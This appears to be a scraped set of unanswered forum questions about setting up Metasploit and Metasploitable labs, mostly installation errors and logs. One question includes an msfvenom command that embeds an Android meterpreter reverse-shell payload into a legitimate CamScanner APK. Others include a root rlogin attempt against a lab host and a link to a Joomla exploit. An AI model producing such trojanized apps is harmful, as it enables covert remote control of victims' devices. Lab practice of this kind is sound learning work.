encountered this on Metasploitable 2 **Give root password for maintenance (or type Control-D to continue):** The default root password of **msfadmin** isn't working. It keeps saying login incorrect. Please what is the correct password and how do I resolve this

When trying to log on remote system using ssh, I encounter the following error : Unable to negotiate with 172.15.239.54 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss How do I fix this?

I am running *Linux metasploitable 2.6.24-16-server* on VirtualBox. I want to connect to the internet but my network requires authentication for which I usually login using a browser. But, since metasploitable does not have any GUI, I don't seem to be able to connect to the internet. Can anyone suggest me to overcome this issue? Thanks for your help!

root  pop-os  /etc  mkdir vbox
 root  pop-os  /etc  cd vbox/
 root  pop-os  /etc/vbox  nano networks.conf

* 10.0.0.0/8 192.168.0.0/16
* 2001::/64

I used this solution to solve the problem with Vagrant and then I run it again:

root  pop-os  ../metasploitable3-workspace  curl -O https://raw.githubusercontent.com/rapid7/metasploitable3/master/Vagrantfile  && vagrant up

The error:

The IP address configured for the host-only network is not within the
allowed ranges. Please update the address used to be within the allowed
ranges and run the command again.

  Address: 172.28.128.3
  Ranges: 10.0.0.0/8, 192.168.0.0/16, 2001::/64

Valid ranges can be modified in the /etc/vbox/networks.conf file. For
more information including valid format see:

  https://www.virtualbox.org/manual/ch06.html#network_hostonly 

I also tried the following as I saw somewhere but the same error. * 172.28.128.0/24 or * 0.0.0.0/0 ::/0 I am following the repo:https://github.com/rapid7/metasploitable3 to install metasploitable 3 for learning purposes. (why is this difficult I mean). Packer - Vagrant - VirtualBox are installed.

I am having issues installing virtualbox on my kali-rolling dist (Linux kali 4.12.0-kali1-amd64 #1 SMP Debian 4.12.6-1kali6 (2017-08-30) x86_64 GNU/Linux). My main goal is to setup metasploitable3 (https://github.com/rapid7/metasploitable3) . I have installed packer and vagrant: root@kali:~/Desktop/metasploitable3# packer -v 1.1.3 root@kali:~/Desktop/metasploitable3# vagrant -v Vagrant 2.0.1 I have purged vitualbox and reinstalled for the sake of demonstration: root@kali:~/Desktop/metasploitable3# sudo apt-get install linux-headers-$(uname -r|sed 's,[^-]*-[^-]*-,,') virtualbox dkms virtualbox-dkms Reading package lists... Done Building dependency tree Reading state information... Done linux-headers-amd64 is already the newest version (4.14+89+kali1). Suggested packages: python3-apport vde2 virtualbox-guest-additions-iso The following NEW packages will be installed: dkms virtualbox virtualbox-dkms virtualbox-qt 0 upgraded, 4 newly installed, 0 to remove and 273 not upgraded. Need to get 0 B/26.2 MB of archives. After this operation, 111 MB of additional disk space will be used. Selecting previously unselected package dkms. (Reading database ... 343278 files and directories currently installed.) Preparing to unpack .../archives/dkms_2.3-3_all.deb ... Unpacking dkms (2.3-3) ... Selecting previously unselected package virtualbox-dkms. Preparing to unpack .../virtualbox-dkms_5.2.6-dfsg-2_all.deb ... Unpacking virtualbox-dkms (5.2.6-dfsg-2) ... Selecting previously unselected package virtualbox. Preparing to unpack .../virtualbox_5.2.6-dfsg-2_amd64.deb ... Unpacking virtualbox (5.2.6-dfsg-2) ... Selecting previously unselected package virtualbox-qt. Preparing to unpack .../virtualbox-qt_5.2.6-dfsg-2_amd64.deb ... Unpacking virtualbox-qt (5.2.6-dfsg-2) ... Processing triggers for mime-support (3.60) ... Processing triggers for desktop-file-utils (0.23-2) ... Processing triggers for menu (2.1.47+b1) ... Setting up dkms (2.3-3) ... Processing triggers for systemd (236-3) ... Processing triggers for man-db (2.7.6.1-4) ... Processing triggers for shared-mime-info (1.9-2) ... Processing triggers for gnome-menus (3.13.3-11) ... Processing triggers for hicolor-icon-theme (0.17-1) ... Setting up virtualbox-dkms (5.2.6-dfsg-2) ... Loading new virtualbox-5.2.6 DKMS files... Building for 4.12.0-kali1-amd64 Module build for kernel 4.12.0-kali1-amd64 was skipped since the kernel headers for this kernel does not seem to be installed. Setting up virtualbox (5.2.6-dfsg-2) ... vboxweb.service is a disabled or a static unit, not starting it. Job for virtualbox.service failed because the control process exited with error code. See "systemctl status virtualbox.service" and "journalctl -xe" for details. invoke-rc.d: initscript virtualbox, action "restart" failed. ● virtualbox.service - LSB: VirtualBox Linux kernel module Loaded: loaded (/etc/init.d/virtualbox; generated; vendor preset: enabled) Active: failed (Result: exit-code) since Wed 2018-01-31 10:15:25 CST; 7ms ago Docs: man:systemd-sysv-generator(8) Process: 22278 ExecStart=/etc/init.d/virtualbox start (code=exited, status=1/FAILURE) Jan 31 10:15:25 kali systemd: Starting LSB: VirtualBox Linux kernel module... Jan 31 10:15:25 kali virtualbox: Loading VirtualBox kernel modules...No suitable module for running kernel found ... failed! Jan 31 10:15:25 kali virtualbox: failed! Jan 31 10:15:25 kali systemd: virtualbox.service: Control process exited, code=exited status=1 Jan 31 10:15:25 kali systemd: virtualbox.service: Failed with result 'exit-code'. Jan 31 10:15:25 kali systemd: Failed to start LSB: VirtualBox Linux kernel module. Setting up virtualbox-qt (5.2.6-dfsg-2) ... Processing triggers for systemd (236-3) ... Processing triggers for menu (2.1.47+b1) ... After this, I am capable of running the virtualbox GUI. But when I want to execute the metasploitable3 build script I get the following error: root@kali:~/Desktop/metasploitable3# ./build_win2008.sh ./build_win2008.sh: line 14: cha: command not found ./build_win2008.sh: line 27: [[: WARNING:: syntax error in expression (error token is ":") ./build_win2008.sh: line 31: [[: WARNING:: syntax error in expression (error token is ":") Compatible version of VirtualBox found. Compatible version of packer was found. Correct version of vagrant was found. Compatible version of vagrant-reload plugin was found. All requirements found. Proceeding... Building the Vagrant box... virtualbox-iso output will be in this color. Build 'virtualbox-iso' errored: Error reading version for guest additions download: VirtualBox is not properly setup: WARNING: The character device /dev/vboxdrv does not exist. Please install the virtualbox-dkms package and the appropriate headers, most likely linux-headers-amd64. You will not be able to start VMs until this problem is fixed. 5.2.6_Debianr120293 ==> Some builds didn't complete successfully and had errors: --> virtualbox-iso: Error reading version for guest additions download: VirtualBox is not properly setup: WARNING: The character device /dev/vboxdrv does not exist. Please install the virtualbox-dkms package and the appropriate headers, most likely linux-headers-amd64. You will not be able to start VMs until this problem is fixed. 5.2.6_Debianr120293 ==> Builds finished but no artifacts were created. Error building the Vagrant box using Packer. Please check the output above for any error messages.Error reading version for guest additions download: VirtualBox is not properly setup: WARNING: The character device /dev/vboxdrv does not exist. Please install the virtualbox-dkms package and the appropriate headers, most likely linux-headers-amd64. You will not be able to start VMs until this problem is fixed. 5.2.6_Debianr120293 More specifically: Error reading version for guest additions download: VirtualBox is not properly setup: WARNING: The character device /dev/vboxdrv does not exist. Please install the virtualbox-dkms package and the appropriate headers, most likely linux-headers-amd64. You will not be able to start VMs until this problem is fixed. 5.2.6_Debianr120293 It seems that an error in my install has caused an error later on with virtualbox-dkms. I have found other issues similar to this, but no fixes have worked. Thanks.

I am following a tutorial that can be found here. http://www.kalitutorials.net/2014/05/metasploitable-2-vulnerability.html Specifically the "Remote access vulnerability - Rlogin" section. When I run the command "rlogin -l root 192.168.154.132" I get a password prompt, as per the below The authenticity of host '192.168.154.132 (192.168.154.132)' can't be established. RSA key fingerprint is *****. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '192.168.154.132' (RSA) to the list of known hosts. root@192.168.154.132's password: The tutorial states "It's because we don't have ssh-client installed on Kali Linux" However when I try to install the client, using the following command "apt-get install rsh-client", I get the following message: Reading package lists... Done Building dependency tree Reading state information... Done Note, selecting 'openssh-client' instead of 'rsh-client' openssh-client is already the newest version. 0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded. I have tried running "apt-get update && apt-get upgrade" to make sure everything is up to date. I have also tried uninstalling and re-installing the openssh client. However I continue to get prompted by the password box (which according to the tutorial I should not) Any help greatly appreciated.

Suppose, I have just entered the Metasploitable 2 Linux like the following command: username : msfadmin password : msfadmin Now, I need to gain 'root' privilege so that I do not need to use 'sudo' - command again and again. For example, in order to shutdown the machine I just want to type: shutdown -h 1 not, sudo shutdown -h 1 How to do that?

Traceback (most recent call last):
        5: from :1:in `'
        4: from :1:in `require'
        3: from /usr/lib/ruby/vendor_ruby/rubygems.rb:1348:in `'
        2: from /usr/lib/ruby/vendor_ruby/rubygems.rb:1348:in `require'
        1: from /usr/lib/ruby/vendor_ruby/rubygems/defaults/operating_system.rb:49:in `'
/usr/lib/ruby/vendor_ruby/rubygems/defaults/operating_system.rb:50:in ': undefined method rubyforge_project=' for class `Gem::Specification' (NameError)

I wanted to start the metasploit service to start armitage. But when i am typing in my console the command: sudo service metasploit start It says: Failed to start metasploit.service: Unit metasploit.service not found. I installed metasploit. It is connected to postgresql, so the question is how can I start or install this service?

I am getting the below error when executing the 'bundle install' command. So I run 'msfconsole' and get this: $ msfconsole waiting for server to shut down....2019-05-08 11:04:55.057 AEST LOG: received fast shutdown request 2019-05-08 11:04:55.058 AEST LOG: aborting any active transactions 2019-05-08 11:04:55.059 AEST LOG: background worker "logical replication launcher" (PID 14807) exited with exit code 1 2019-05-08 11:04:55.060 AEST LOG: shutting down 2019-05-08 11:04:55.091 AEST LOG: database system is shut down done server stopped waiting for server to start....2019-05-08 11:04:55.204 AEST LOG: listening on IPv4 address "127.0.0.1", port 5432 2019-05-08 11:04:55.204 AEST LOG: listening on Unix socket "/data/data/com.termux/files/usr/tmp/.s.PGSQL.5432" 2019-05-08 11:04:55.221 AEST LOG: database system was shut down at 2019-05-08 11:04:55 AEST 2019-05-08 11:04:55.226 AEST LOG: database system is ready to accept connections done server started Could not find nokogiri-1.10.1 in any of the sources Run bundle install to install missing gems. Then I run 'bundle install' and get this: $ bundle install The Gemfile specifies no dependencies Bundle complete! 0 Gemfile dependencies, 1 gem now installed. Use bundle info [gemname] to see where a bundled gem is installed. $ I also tried installing 'nokogiri' but three an error: $install nokogiri Building native extensions. This could take a while... ERROR: Error installing nokogiri: ERROR: Failed to build gem native extension. current directory: /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/nokogiri-1.10.3/ext/nokogiri /data/data/com.termux/files/usr/bin/ruby -I /data/data/com.termux/files/usr/lib/ruby/site_ruby/2.6.0 -r ./siteconf20190508-18809-1xe5kij.rb extconf.rb checking if the C compiler accepts ... yes Building nokogiri using packaged libraries. Using mini_portile version 2.4.0 Static linking is disabled. checking for gzdopen() in -lz... no zlib is missing; necessary for building libxml2 *** extconf.rb failed *** Could not create Makefile due to some reason, probably lack of necessary libraries and/or headers. Check the mkmf.log file for more details. You may need configuration options. To see why this extension failed to compile, please check the mkmf.log which can be found here: /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/extensions/aarch64-linux/2.6.0/nokogiri-1.10.3/mkmf.log extconf failed, exit code 1 Gem files will remain installed in /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/nokogiri-1.10.3 for inspection. Results logged to /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/extensions/aarch64-linux/2.6.0/nokogiri-1.10.3/gem_make.out $ Why is this happening, and how do I fix it?

When I trying to run ./msfconsole I got this error:

Traceback (most recent call last):
        9: from ./msfconsole:48:in `'
        8: from ./msfconsole:48:in `require'
        7: from /opt/metasploit-framework/lib/msf/core/payload_generator.rb:2:in `'
        6: from /opt/metasploit-framework/lib/msf/core/payload_generator.rb:2:in `require'
        5: from /opt/metasploit-framework/lib/msf/core/payload/apk.rb:3:in `'
        4: from /opt/metasploit-framework/lib/msf/core/payload/apk.rb:3:in `require'
        3: from /opt/metasploit-framework/lib/msf/core.rb:44:in `'
        2: from /opt/metasploit-framework/lib/msf/core.rb:44:in `require'
        1: from /opt/metasploit-framework/lib/msf/core/db_manager.rb:24:in `'
/opt/metasploit-framework/lib/msf/core/db_manager.rb:66:in ': undefined local variable or method optionally_include_metasploit_credential_creation' for Msf::DBManager:Class (NameError)

But I have installed *metasploit-credential* (gem install metasploit-credential). I use **Alpine**, version **3.2.0** architecture is **i386 musl-linux**. How can I solve this error? Thank you in advance

I'm using Kali 2.0 I have tried msfpayload, i faced some error saying bash : msfpayload: command not found And now I come to know msfvenom is also does the same thing So my question is what is the difference between msfvenom and msfpayload?

I would also like to do the same for metasploit. I know that using Kali would be more practical but my PC isn't good enough to run it on VB.

I'm running Metasploit in archlinux and when I execute msf> db_nmap -h It'll return an error: The nmap executable could not be found Now, I know I am probably missing a binary or something, but how did I end up missing it? I installed ruby1.9 and metasploit-git from the AUR.

1. Is it normal that I chose "Metasploitable.vmdk" as the Hard Disk, or was it supposed to be my Hard Disk of Kali Linux? 2. Will I still be able to use Metasploitable with my Kali Linux, even though it's a completely different machine? Or is it supposed to stay like that?

when i try to inject payload in the apk this error occurs root@kali:~# msfvenom -x /root/Documents/CamScanner_5.7.5.20180907.apk -p android/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=2410 -o camscanner_main.apk Using APK template: /root/Documents/CamScanner_5.7.5.20180907.apk [-] No platform was selected, choosing Msf::Module::Platform::Android from the payload [-] No arch selected, selecting arch: dalvik from the payload Error: zipalign not found. If it's not in your PATH, please add it.` i even try apt-get install zipalign root@kali:~# apt-get install zipalign Reading package lists... Done Building dependency tree Reading state information... Done Package zipalign is not available, but is referred to by another package. This may mean that the package is missing, has been obsoleted, or is only available from another source` E: Package 'zipalign' has no installation candidate

I want to install Metasploit Framework but I don't know how! How can I do it?

As you can see, i installed metasploit and cd to /opt/metasploit-framework/bin, then type ./msfconsole. According to the prompt shows, i tried to type yes, but it failed... It is still showing the prompt answer yes or no...and won't stop until I type ctrl+C to block it. What shall i do to make it right? (The OS is Mac-OSX)

I'm trying to run [this exploit](https://www.exploit-db.com/exploits/9926/) in Metasploit on Kali Linux. I have the file in the exploit folder, I just need to execute the script, but I'm getting some errors. This is the description from the website: # 18 Info -> CorePlugin: TinyMCE TinyBrowser addon multiple vulnerabilities Versions effected: Joomla! 1.5.12 Check: /plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/ Exploit: While Joomla! team announced only File Upload vulnerability, in fact there are many. See: http://www.milw0rm.com/exploits/9296 Vulnerable? Yes

I just installed metasploit . The issue is I can only run ./msfconsole in installation directory which is /opt/framework/metasploit-framework. When I run msfconsole in another directory, I get this error: Could not find rake-10.4.2 in any of the sources Run bundle install to install missing gems. In my .bashrc file : export PATH="$PATH:$HOME/.rvm/bin" export PATH="$PATH:$HOME/.gem/ruby/2.3.0/bin" export PATH="$(ruby -e 'print Gem.user_dir')/bin:$PATH" export PATH=$PATH:/opt/framework/metasploit-framework alias msfconsole="./msfconsole --quiet -x \"db_connect ${USER}@msf\"" My solution so far (I have to exit to /opt/framework/metasploit-framework though) : alias msfconsole="cd /opt/framework/metasploit-framework && ./msfconsole --quiet -x \"db_connect ${USER}@msf\""